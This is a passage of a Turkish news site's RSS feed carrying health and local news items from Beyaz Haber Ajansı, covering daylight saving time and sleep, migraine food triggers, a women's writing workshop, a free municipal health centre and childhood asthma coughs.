                <link>https://www.yeniistiklal.com/public/index.php/haber/gunes-isigi-uyku-ihtiyacini-azaltiyor-548390</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/gunes-isigi-uyku-ihtiyacini-azaltiyor-548390</guid>
                <description><![CDATA[Avrupa ülkelerinde hafta sonunda kış saati uygulamasına geçildi. Ülkemizde 2016 yılından bu yana saatler geri alınmıyor. Beynin çalışmasını gün ...]]></description>
                <content:encoded><![CDATA[<p><p><strong><span>Avrupa ülkelerinde hafta sonunda kış saati uygulamasına geçildi. Ülkemizde 2016 yılından bu yana saatler geri alınmıyor. Beynin çalışmasını gün ışığına göre ayarladığını belirten Psikiyatri Uzmanı Yrd. Doç. Dr. Fatma Duygu Kaya, “Gözünüze güneş ışığı geliyorsa beynimizdeki melatonin azalıyor. Bunun sonucunda uykuya geçmek zorlaşmış oluyor.  Karanlık bir ortamda ise melatonin seviyemiz artıyor ve beynimiz uykuya hazır olduğumuz mesajını gönderiyor” dedi.  Kaya, biyolojik saatimiz ile güneş saatinin devamlı birbirleri ile eşzamanlı olmak ve uyum göstermek zorunda olduğunu vurguladı.</span></strong></p>  <p><span>Üsküdar Üniversitesi NP Etiler Tıp Merkezi Psikiyatri Uzmanı Yrd. Doç. Dr. Fatma Duygu Kaya, kalıcı yaz saati uygulamasının psikolojiye etkilerine ilişkin değerlendirmede bulundu.</span></p>  <p><span>Türkiye’de her sene ekim ayından başlayıp mart ayına kadar saatlerin 1 saat geriye alınarak kış saati uygulamasına geçildiğini hatırlatan Psikiyatri Uzmanı Yrd. Doç. Dr. Fatma Duygu Kaya, “2016 yılında bu uygulama kaldırıldı. Sürekli olarak kalıcı yaz saatine geçildi. Halkımız zaman zaman bu uygulamayı eleştirdi. Özellikle sabahları işe ve okula giden insanların yaşadığı zorluklarını, kaygılarını, sıkıntılarını haber programlarında sık sık görmeye başladık” dedi.</span></p>  <p><strong><span>Biyolojik saatimiz ve güneş saati uyum göstermek zorundadır</span></strong></p> <p><span>Kalıcı yaz saati uygulamasının bedensel ve ruhsal etkileri olduğunu kaydeden Psikiyatri Uzmanı Yrd. Doç. Dr. Fatma Duygu Kaya, “Üç adet saatten bahsedebiliriz. İlki güneş saatidir yani güneşin hareketi ve pozisyonuna güneş saati diyoruz. Güneşin doğuşu ve batışı olarak düşünebiliriz. İkincisi ise biyolojik saatimizdir. Biyolojik saat bizim fizyolojik süreçlerimizi yönettiğimiz 24 saatlik salınım gösteren bir düzendir. Biyolojik saatimiz ve güneş saati devamlı birbirleri ile eşzamanlı olmak ve uyum göstermek zorundadır” diye konuştu. </span></p>  <p><strong><span>Beyin gün ışığına göre düzeni sağlıyor</span></strong></p> <p><span>Göze giren ışığın beyin tarafından algılandığını belirten Yrd. Doç. Dr. Fatma Duygu Kaya, “Beyin gündüz ya da gece olduğunu bize hissettirip bütün bu fizyolojik ve bedensel işlevleri düzenliyor, vücut ısımızı ve hormonlarımızı düzenliyor. Bu nedenle dışarıdan gelen ışığın önemi çok fazladır. Melatonin ise beynimizdeki bir hormondur. Bu hormonun işlevi ise şudur: Gözünüze güneş ışığı geliyorsa beynimizdeki melatonin azalıyor. Bunun sonucunda uykuya geçmek zorlaşmış oluyor.  Karanlık bir ortamda ise melatonin seviyemiz artıyor ve beynimiz uykuya hazır olduğumuz mesajını gönderiyor” dedi. </span></p>  <p><strong><span>Sosyal saat ile oynamak sağlığı etkiliyor</span></strong></p> <p><span>Üçüncü saatin ise sosyal saat olduğunu ifade eden Yrd. Doç. Dr. Fatma Duygu Kaya, “Biz sadece sosyal saatimizi değiştirebiliriz. Ekonomik ve politik nedenler de bu saatin değişmesinde etkilidir. Dolayısıyla biz sosyal saat ile ne kadar fazla oynarsak insanların bedensel ve ruhsal sağlığı o kadar etkileniyor” dedi.</span></p>  <p><strong><span>Saat değişikliği ile uyku kısalıyor</span></strong></p> <p><span>Yaz saati uygulamasının güneş ışığından daha fazla yararlanmasını sağlamak amacı ile yapıldığına dikkat çeken Yrd. Doç. Dr. Fatma Duygu Kaya, “Okul ve işten çıkan insanların sosyal hayat ve spor gibi aktiviteler için kendilerine daha fazla zaman ayırmalarını amaçlar. Ancak saat değişikliği ile uykumuz kısalıyor. Buna adapte olmak için ise bir haftalık bir süreç geçirmemiz gerekiyor. Güneşin vücudumuz için önemi hem bedensel hem ruhsal açıdan çok önemlidir” dedi.</span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 15:12:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/gunes-isigi-uyku-ihtiyacini-azaltiyor-8SxwaGm8.jpg"/>
            </item>
                                <item>
                <title>Hangi yiyecek ve içecekler migreni tetikliyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/hangi-yiyecek-ve-icecekler-migreni-tetikliyor-548363</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/hangi-yiyecek-ve-icecekler-migreni-tetikliyor-548363</guid>
                <description><![CDATA[Öğün atlamalar ve gece atıştırmaları migreni tetikliyor Migren, genellikle orta veya şiddetli baş ağrısı atakları halinde ortaya çıkarak ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Öğün atlamalar ve gece atıştırmaları migreni tetikliyor</strong></span></span></p>  <div> <p><span><span><strong>Migren, genellikle orta veya şiddetli baş ağrısı atakları halinde ortaya çıkarak kişinin günlük aktivitelerini zorlaştırıyor. Migren ve beslenme arasındaki ilişkinin çok karmaşık olduğunu belirten uzmanlar, bazı besinlerin semptomları azaltırken bazılarının ise artırabildiğini ifade ediyor. Beslenme ve diyet uzmanı Esra Tansu Sarıyer, özellikle uzun süreli açlık, öğün atlama, gece atıştırmaları ve geç akşam yemeği tüketiminin ataklara yol açtığını vurguluyor. Sarıyer, migren hastalarına olası atakların önüne geçebilmeleri için fermente et ve peynir ürünlerinden, alkollü içeceklerden, kahve, şeker, çikolata, soğuk içecekler ve dondurma tüketiminden kaçınmalarını tavsiye ediyor.</strong></span></span></p>  <p><span><span>Üsküdar Üniversitesi Sağlık Bilimleri Fakültesi Beslenme ve Diyetetik Bölümü Öğr. Gör. Esra Tansu Sarıyer, migren hastalarının beslenme alışkanlıkları hakkında değerlendirmelerde bulundu ve özellikle tüketiminden kaçılması gereken yiyecek ve içeceklerle ilgili bilgiler paylaştı.</span></span></p>  <p><span><span><strong>Bazı besinler migreni tetikliyor</strong></span></span></p>  <p><span><span>Migrenin orta veya şiddetli baş ağrısı atakları ve geri dönüşlü nörolojik ve sistemik semptomlarla karakterize kronik bir nörolojik bozukluk olduğunu belirten beslenme ve diyet uzmanı Esra Tansu Sarıyer, “Migren baş ağrısı genellikle ataklar halinde ortaya çıkıyor ve kişinin günlük aktivitelerini zorlaştırıyor. Migren ve beslenme arasındaki ilişkinin çok karmaşık olduğunu söyleyebiliriz. Bazı besinler semptomları azaltırken bazıları ise artırabiliyor. Bazı besinler vazokonstriktör veya vazodilatör etki yaparak sinir sistemini etkileyip ağrı oluşumuna yol açıyor. Bu nedenle hastalığın atak sıklığı ve şiddetinin değerlendirilmesinde beslenme öyküsünün detaylı alınması büyük önem taşıyor.” dedi.</span></span></p>  <p><span><span><strong>Migreni tetikleyen tüketimlerden kaçınılmalı</strong></span></span></p>  <p><span><span>Sarıyer, ‘Yapılan çalışmalar migren ataklarını tetiklemede hem besin ve beslenme örüntülerinin hem de beslenmeyle ilişkili obezite, diyabet ve insülin direnci gibi hastalıkların etkili olduğunu göstermektedir’ dedi ve sözlerine şöyle devam etti: </span></span></p>  <p><span><span>“Fizyolojik açlık ve susuzluğun genellikle migreni tetiklediği saptanmış. Migrenin diğer önemli tetikleyicilerinden biri de alkoldür. Özellikle içerisinde tiramin ve histamin bulunduran kırmızı şarabın en yaygın migren tetikleyici alkol olduğu ifade ediliyor. Bir vazoaktif amin olan tiramin, kan basıncının yükselmesine neden olarak ağrıyı tetikliyor. Tiraminden zengin olmaları nedeniyle özellikle fermente peynir türleri, et ürünleri ve alkollü içki tüketiminden kaçınılmalıdır. Ayrıca kafeinin en önemli kaynaklarından biri olan kahve tüketimi de beyin ve damarlar içindeki uyarıcı adenozin reseptörleri ve inhibitörleri üzerine etki ederek atak sıklığını artırıyor. Gıdalarda lezzet verici olarak kullanılan monosodyum glutamatın tüketiminden sonra da baş ağrısı şiddetinin arttığı da ortaya kondu. Çikolata da içerisinde teobromin, kafein ve feniletilamin gibi bileşenler barındırmasıyla nedeniyle migren tetikleyebilir. Bu nedenle atak dönemlerinde tüketiminden kaçınılmalıdır.”</span></span></p>  <p><span><span><strong> Migren hastaları Batı tarzı diyet uygulamamalı</strong></span></span></p>  <p><span><span>Migrenli hastaların beslenme düzenleri, atak sıklığı ve şiddeti arasındaki ilişkinin incelendiğini belirten beslenme ve diyet uzmanı Sarıyer, “Özellikle uzun süreli açlık, öğün atlama, gece atıştırmaları ve geç akşam yemeği tüketimi ataklara neden oluyor. Bireyler özellikle atak dönemlerinde yorgun ve halsiz oldukları için su tüketimine önem göstermezken öğün atlıyor veya düzensiz yemek tüketiyorlar.  Ayrıca hastalar uzun süre aç kaldıktan sonra hızlıca doymak için şeker ve yağ içeriği yüksek besinlere yöneliyorlar. Aslında bu uygulama hastaların ağrısını daha da şiddetlendiriyor. Hastaların küçük ara öğünler yaparak kan şekeri seviyelerini düzende tutması atakları azaltacaktır. Yağ ve şeker içeriği yüksek beslenme ve fast-food tarzı besinlerin sık tüketimi migren ataklarını tetikliyor. Migren hastaları bu nedenle Batı tarzı diyetlerden kaçınmalıdır. </span></span></p>  <p><span><span><strong>İşte uzak durulması gereken yiyecek ve içecekler…</strong></span></span></p>  <p><span><span>Üsküdar Üniversitesi Sağlık Bilimleri Fakültesi Beslenme ve Diyetetik Bölümü’nden Öğr. Gör. Esra Tansu Sarıyer migren hastalarının beslenme konusunda dikkat etmeleri gereken son derece önemli noktaları şöyle sıraladı:</span></span></p>  <p><span><span>• Migrenli hastalarda basit şeker tüketimi sonrasında reaktif hipoglisemi durumu düşünülmeli ya da açlık sonrasında baş ağrısı oluşabileceği göz önünde bulundurulmalı,</span></span></p>  <p><span><span>• Bireyler atakların önüne geçmek için şeker tüketiminden kaçınmalı ve kan şekerini düzenlemesi için mutlaka küçük ara öğünler yapmalı,</span></span></p>  <p><span><span>• Diyette protein, kompleks karbonhidrat, posa tüketimine ağırlık verilmesinin hipogliseminin önüne geçebileceği hastaya bildirilmeli. Bu nedenle hastalar tam tahıllı besinler, bulgur, meyve, sebze ve kurubaklagiller gibi bol posalı ve kompleks karbonhidrat kaynaklarını beslenmesine dahil etmeli,</span></span></p>  <p><span><span>• Bireylerin öğün düzenlemeleri gün içerisinde en fazla 2-3 saat açlık süresi olacak şekilde planlanmalı,</span></span></p>  <p><span><span>•Nitrit, nitrat ve MSG gibi besin katkı maddelerinin tüketimi migren ataklarını tetikleyebileceği için bu katkı maddelerini içeren besinleri tüketmekten kaçınılmalı,</span></span></p>  <p><span><span>• Peynir, bira, şarap, et gibi fermente ürünler ile, konserve besinler ve deniz ürünleri gibi yiyeceklerin içeriğinde bulunan maddeler migren atağını tetikleyebileceği için bu besinlerin tüketiminden kaçınılmalı,</span></span></p>  <p><span><span>• Kafein içeren kahve, çay, çikolata gibi besinlerin tüketimi diyette mümkün olduğunca azaltılmalı,</span></span></p>  <p><span><span>• Besin alerjilerinin migren ataklarını tetikleyebileceği unutulmamalı. Kişilerin alerjisi olan besinlere karşı hassasiyet göstermeleri gerekiyor,</span></span></p>  <p><span><span>• Soğuk içecekler ve dondurma migren tetikleyicilerinden olduğu için dondurma gibi soğuk yiyeceklerin tüketiminden kaçınılmalı. İçecekler de fazla soğuk olarak tüketilmemeli.</span></span></p> </div>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 14:15:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/hangi-yiyecek-ve-icecekler-migreni-tetikliyor-qC3KtnJK.jpg"/>
            </item>
                                <item>
                <title>Çiğlili Kadınların Yazma Serüveni Sürüyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/ciglili-kadinlarin-yazma-seruveni-suruyor-548362</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/ciglili-kadinlarin-yazma-seruveni-suruyor-548362</guid>
                <description><![CDATA[Çiğli Belediyesi, Kadın Yazarlar Derneği (KYD) ve Çiğli Kent Konseyi Kadın Meclisi’nin katkılarıyla hayata geçirdiği Yazma Atölyesinde ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Çiğli Belediyesi, Kadın Yazarlar Derneği (KYD) ve Çiğli Kent Konseyi Kadın Meclisi’nin katkılarıyla hayata geçirdiği Yazma Atölyesinde birbirinden değerli yazarlar ile Çiğlili kadınları buluşturmaya devam ediyor.  </span></span></p>  <p><span><span>Birçok farklı alanda kültür sanat etkinliklerine ev sahipliği yapan Çiğli Belediyesi’nde edebiyat buluşmaları da hız kesmeden devam ediyor. Kadın ve Aile Hizmetleri Müdürlüğü’nün organize ettiği Yazma Atölyesine yazarlar Sevim Korkmaz Dinç, Şerife Yalçınkaya, Gönül Çatalçalı, Ferda İzbudak Akıncı, Sülbiye Yıldırım, Kamile Yılmaz, Atiye Tümüklü, Gülden Aykanat, Deniz Uluköse Ceylan ve Emine Şimşek Emiral katılım gösteriyor. Prof. Dr. Nermin Abadan Unat Kadın Yaşam Merkezi’nde Çiğlili kadınlar ile buluşan yazarlar; deneyimlerini, tecrübelerini, bilgi ve birikimlerini kadınlarla paylaşıyor.</span></span></p>  <p><span><span><strong>Öyküler kitaplaştırılacak</strong></span></span></p> <p><span><span>Çiğli Belediyesi, etkinliğin tamamlanmasının ardından kadınların kaleminden çıkan hikayeleri geniş okuyucu kitlelerine ulaştırmak ve çok daha fazla kadının edebiyat ile uğraşmasını teşvik etmek amacıyla tüm hikayeleri tek bir kitapta toplayacak. </span></span></p>  <p><span><span><strong>Başkan Gümrükçü: “Kadınların edebiyat ile bağını kuvvetlendireceğiz”</strong></span></span></p> <p><span><span>Edebiyat buluşmalarıyla ilgili açıklamalarda bulunan Çiğli Belediye Başkanı Utku Gümrükçü, “Hayatın her alanında olması gerektiği gibi edebiyatta da kadın erkek eşitliğinin sağlanması adına çalışmalarımızı sürdürüyoruz. Kadın Yazarlar Derneği (KYD) ve Çiğli Kent Konseyi Kadın Meclisi’nin katkılarıyla kurduğumuz Yazma Atölyesinde edebiyat buluşmalarına ev sahipliği yapıyoruz. Buluşmalarımıza katılan yazarların tecrübelerinden faydalanan kadınlar, yeteneklerinin ve gücünün farkına varacak, var olmak, kendi tarihlerini yaratmak, dünyayı ve kendilerini değiştirmek ve dönüştürmek, bildiği ve öğrendiği her şeyi paylaşmak için yazmaya devam edecekler. Çiğlili kadınların hikayelerinin daha fazla okura ulaşması ve çok daha fazla kadının edebiyata yönelmesi için bu hikayeleri kitaplaştıracağız” ifadelerini kullandı. </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 14:14:09 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/ciglili-kadinlarin-yazma-seruveni-suruyor-hwgczfMn.jpg"/>
            </item>
                                <item>
                <title>Antalya Büyükşehir Sağlık Merkezi yüzleri güldürüyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/antalya-buyuksehir-saglik-merkezi-yuzleri-gulduruyor-548344</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/antalya-buyuksehir-saglik-merkezi-yuzleri-gulduruyor-548344</guid>
                <description><![CDATA[Antalya Büyükşehir Belediyesi’nin Kepez ilçesinde hizmete açtığı modern sağlık merkezi özel bir hastaneyi aratmayan donanımı ve hizmetiyle halkın ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><span>Antalya Büyükşehir Belediyesi’nin Kepez ilçesinde hizmete açtığı modern sağlık merkezi özel bir hastaneyi aratmayan donanımı ve hizmetiyle halkın takdirini topluyor. Merkezde diş tedavisi, evde sağlık, psikolojik destek ve sünnet hizmetleriyle vatandaşa sağlık hizmeti sunuluyor. Üstelik tüm bu hizmetler tamamen ücretsiz.  </span></span></span></p>  <p><span><span><span>Antalya Büyükşehir Belediyesi, halkın daha rahat sağlık hizmeti alabilmesi için Kepez ilçesinde modern bir sağlık merkezi kurdu. Teknolojinin tüm imkanlarının kullanıldığı Antalya Büyükşehir Belediyesi Sağlık Merkezinde, ağız ve diş sağlığı konusunda tanı ve tedavi işlemleri, psikolog desteği, evde sağlık ve sünnet hizmetleri vatandaşlara ücretsiz veriliyor. Merkez içerisinde panoramik röntgen cihazı, bebek bakım ve oyun odası da bulunuyor. </span></span></span></p>  <p><span><span><strong><span>ÇOCUK VE YETİŞKİNLERE ÜCRETSİZ DİŞ TEDAVİSİ</span></strong></span></span></p> <p><span><span><span>Merkez bünyesindeki Ağız ve Diş Sağlığı Polikliniği’nde 7-14 yaş arası çocuklar ile yetişkinlere yönelik ağız diş muayenesi, panoramik röntgen çekimi, dolgu, kanal tedavisi, diş çekimi ve diş taşı temizliği gibi tedaviler sosyal güvence aranmaksızın ücretsiz olarak gerçekleştiriliyor. 7 yaş ve üstü çocuklar ile yetişkin hastalar randevu alarak poliklinikte diş tedavilerini yaptırabiliyor. Poliklinikte 2019 yılından itibaren 34 bin 377 hasta ağırlanırken, 77 bin 911 sağlık işlemi yapıldı.  </span></span></span></p>  <p><span><span><strong><span>SÜNNET HİZMETİ BİR İLK</span></strong></span></span></p> <p><span><span><span>Antalya Büyükşehir Belediyesi Sağlık Merkezindeki sünnet kliniği de çocuklara ücretsiz sünnet hizmeti veriyor. Ücretsiz sünnet hizmeti Türkiye’de ilk olma özelliği taşıyor. 2021 </span></span></span></p> <p><span><span><span>Kasım ayında başlayan sünnet hizmetinden bugüne kadar 609 çocuk yararlandı. 0-3 ve 6-12 yaş arasındaki çocukların ücretsiz sünnet yapıldığı merkezden aileler de çok memnun.</span></span></span></p>  <p><span><span><strong><span>VATANDAŞA EVİNDE SAĞLIK DESTEĞİ</span></strong></span></span></p> <p><span><span><span>Antalya Büyükşehir Belediyesi Sağlık Merkezi bünyesindeki Evde Sağlık Birimi, engelli, yaşlı veya yatalak durumda olan vatandaşların yanında oluyor. Doktor, hemşire, fizyoterapist, bakım personeli tarafından evlerinde ziyaret edilen hastalar, kendini yalnız hissetmiyor. Enjeksiyon, sonda takılması, şeker-tansiyon ölçümü ve diş muayeneleri gerçekleştirilen, evleri temizlenen ve öz bakımı yapılan hastalara aynı zamanda tıbbi malzeme desteği de sağlanıyor. Hastanede müdahale gerektiren bir durum söz konusu olduğunda ise hasta, nakil ambulansı ile hastaneye götürülüyor. </span></span></span></p>  <p><span><span><strong><span>PSİKOLOG HİZMETİ</span></strong></span></span></p> <p><span><span><span>Sağlık Merkezi’nde vatandaşlara psikolog hizmeti de sunuluyor. 7 yaştan itibaren çocuk, ergen ve yetişkin bireylere sınav kaygısı, aile içi iletişim problemleri, akran ilişkileri, ergenlik problemleri gibi konularda destek veriliyor. Ayrıca sünnet ve diş tedavisi için gelen ve kaygıları olan çocuk veya yetişkinlere de destek olunuyor.</span></span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 13:29:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/antalya-buyuksehir-saglik-merkezi-yuzleri-gulduruyor-IQgEub8h.jpg"/>
            </item>
                                <item>
                <title>Çocuğum Çok Öksürüyor, Astım Olabilir mi</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/cocugum-cok-oksuruyor-astim-olabilir-mi-548343</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/cocugum-cok-oksuruyor-astim-olabilir-mi-548343</guid>
                <description><![CDATA[Öksürük, vücudun akciğerlerdeki tahriş edici maddeleri dışarı atmaya çalıştığı bir yoldur. Ancak öksürük, astımdaki akciğer iltihabı ve ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Öksürük, vücudun akciğerlerdeki tahriş edici maddeleri dışarı atmaya çalıştığı bir yoldur. Ancak öksürük, astımdaki akciğer iltihabı ve tetikleyicilere maruz kalma nedeniyle olduğunda öksürük uzun süreli olabilir. Astım öksürüğünün karakteristik özelliklerini bilirsek erken tedavi ile akciğerlerinizin zarar görmesini engelleye bilirsiniz. Alerji ve Astım Derneği Başkanı Çocuk Alerji Uzmanı Prof. Dr. Ahmet AKÇAY astım öksürüğü hakkında ayrıntılı bilgiler verdi. </strong></span></span></p>  <p><b><span><span><strong>Astım Hastalığı</strong></span></span></b></p> <p><span><span><span>Astım hastalığı çocuk ve yetişkinlerde sık görülen önemli hastalıklardan biridir. Astımda hava yolları iltihaplıdır ve bu iltihaptan dolayı bronşlar çok hassastır. Soğuk ve kuru hava, soğuk algınlığı ve grip, duman, toz ve polenler, deterjan kokusu, sigara kokusu gibi tetikleyicilere karşı aşırı duyarlıdır . Bazı insanlar için öksürük egzersizden sonra başlayabilir. Öksürüğün miktarı ve şiddeti hava ve mevsime göre değişebilir.</span></span></span></p>  <p><b><span><span><strong>Çocuklarda Astım Hastalığını Düşündüren Öksürüğün Özellikleri Nelerdir?</strong></span></span></b></p> <p><span><span><span>Soğuk algınlığı ve virüsleri olan bebeklerde ve küçük çocuklarda hırıltı ile birlikte öksürük oldukça sık görülen belirtidir. Çocuğunuz çok öksürüyorsa, bir doktor tarafından kontrol edilmesini sağlamak faydalı olabilir.</span></span></span></p>  <p><span><span><span>Astım öksürüğü kuru öksürük şeklindedir (balgam ve mukus olmadan), eğer öksürük veya hırıltı geçmiyorsa veya tekrarlıyorsa, geceleri veya sabah erken saatlerde ortaya çıkıyorsa, etrafta koştuktan sonra semptomları varsa, gülmek veya üşütmek, başka soğuk algınlığı semptomları olmadan hırıltı ve nefes darlığı gibi başka belirtiler varsa akla astım hastalığı gelmelidir. </span></span></span></p>  <p><span><span><span>Her gribal enfeksiyon akciğere iniyorsa ve 2-3 haftadan uzun sürüyorsa akla astım hastalığı gelmelidir. Oyun veya spor sonrası öksürük ve akciğerde hırıltı oluyorsa yine akla astım hastalığı gelmelidir. </span></span></span></p>  <p><span><span><span>Çocuğunuzun ne zaman öksürdüğünü izleyin, böylece doktorunuza söyleyebilir ve olası tetikleyicileri belirleyebilirsiniz.</span></span></span></p>  <p><b><span><span><strong>ASTIM ÖKSÜRÜK SESİ NEDİR?</strong></span></span></b></p> <p><span><span><span>Astımı olan çoğu insanda mukus oluşturmayan kuru bir öksürük vardır.</span></span></span></p>  <p><span><span><span>Bu, hava yollarının tahriş edici bir maddeye tepki olarak daralması ve astımın bir özelliği olması durumunda meydana gelir.</span></span></span></p>  <p><span><span><span>Öksürüğün yanı sıra, genellikle daralmış hava yolunun da neden olduğu yüksek perdeli bir hırıltı sesi vardır. Astım öksürüğü boğulur gibi olur. Bronşlar daralmış olması nedeniyle balgam çıkarmak zordur. Zorla çıkan balgam olursa da balgam koyu kıvamlı bir balgamdır. Bu nedenle özellikle boğulur tarzda olan öksürük olması durumunda da astım hastalığı akla gelmelidir. </span></span></span></p>  <p><b><span><span><strong>GECELERİ UYKUDAN UYANDIRAN ÖKSÜRÜK ÖNEMLİ</strong></span></span></b></p> <p><span><span><span>Astımınız kontrol altında değilse, geceleri devam eden öksürüğünüz olabilir.</span></span></span></p> <p><span><span><span>Astım semptomları, çeşitli nedenlerle geceleri ve uyku sırasında daha yaygın olabilir. Bunlar, burundan gelen mukusa tepki olarak öksürmeyi, solunum yollarını etkileyen daha soğuk ve daha kuru havayı, uyurken iltihaplanma üzerinde daha az kontrolü ve tetikleyicilere daha fazla maruz kalmayı içerebilir. Özellikle geceleri uyuduktan 2-3 saat sonra olan ve sabahları olan öksürük astım hastalığının belirtisidir. Hemen uyur uyumaz olan öksürük ise daha çok geniz akıntısı ve sinüzit nedeniyle olan öksürüktür. </span></span></span></p>  <p><span><span><span>Geceleri astım öksürüğü yaşamak ve rahatlatıcı ilacınızı haftada ikiden fazla kullanmak, astımınızın kontrol altında olmayabileceği anlamına gelir ve astım incelemesi için doktorunuzu görmeniz gerekir.</span></span></span></p>  <p><b><span><span><strong>ÖKSÜRÜĞÜM COVID-19 OLABİLİR Mİ?</strong></span></span></b></p> <p><span><span><span>Öksürük astım, saman nezlesi, soğuk algınlığı ve grip veya COVID-19 belirtisi olabilir. Grip ve soğuk algınlığında da öksürük, ateş olabilir. COVID-19 enfeksiyonunda bu belirtiler yanında boğaz ağrısı, baş ağrısı, koku almada sorun, kas ağrısı gibi belirtiler daha ön plandadır. Astım hastalığını COVID-19 enfeksiyonu tetikleyerek daha çok öksürüğe neden olabilir. Grip, COVID-19 ve Astım hastalığı öksürüğünün birbirinden ayrılması çok önemlidir. Bu ayrımda COVID-19 tespiti için testlerin yapılması çok faydalı olabilmektedir. Ateş, boğaz ağrısı, baş ağrısı ve kas ağrısı ön planda olan tüm hastalarda COVID-19 testi yapılması faydalı olacaktır. </span></span></span></p>  <p><b><span><span><strong>Sonuç Olarak Astım Öksürüğü</strong></span></span></b></p> <p><span><span><span>-Geceleri uykudan uyandıran</span></span></span></p> <p><span><span><span>-Kuru öksürük şeklinde olan</span></span></span></p> <p><span><span><span>-Sabahları olan </span></span></span></p> <p><span><span><span>-Oyun veya spor sonrası artan</span></span></span></p> <p><span><span><span>-Kirli hava, kötü koku, soğuk hava, alerjenler ile artan</span></span></span></p> <p><span><span><span>-Gribal enfeksiyonlar ile tetiklenen</span></span></span></p> <p><span><span><span>-Her gripten sonra akciğere inen ve 2-3 haftadan uzun süren öksürük durumunda aklımıza astım hastalığı gelmelidir</span></span></span></p> <p><span><span><span>-Ateş, boğaz ağrısı, baş ağrısı ve kas ağrısı ön planda olan öksürük durumunda mutlaka COVİD-19 testi yapılması önemlidir. </span></span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 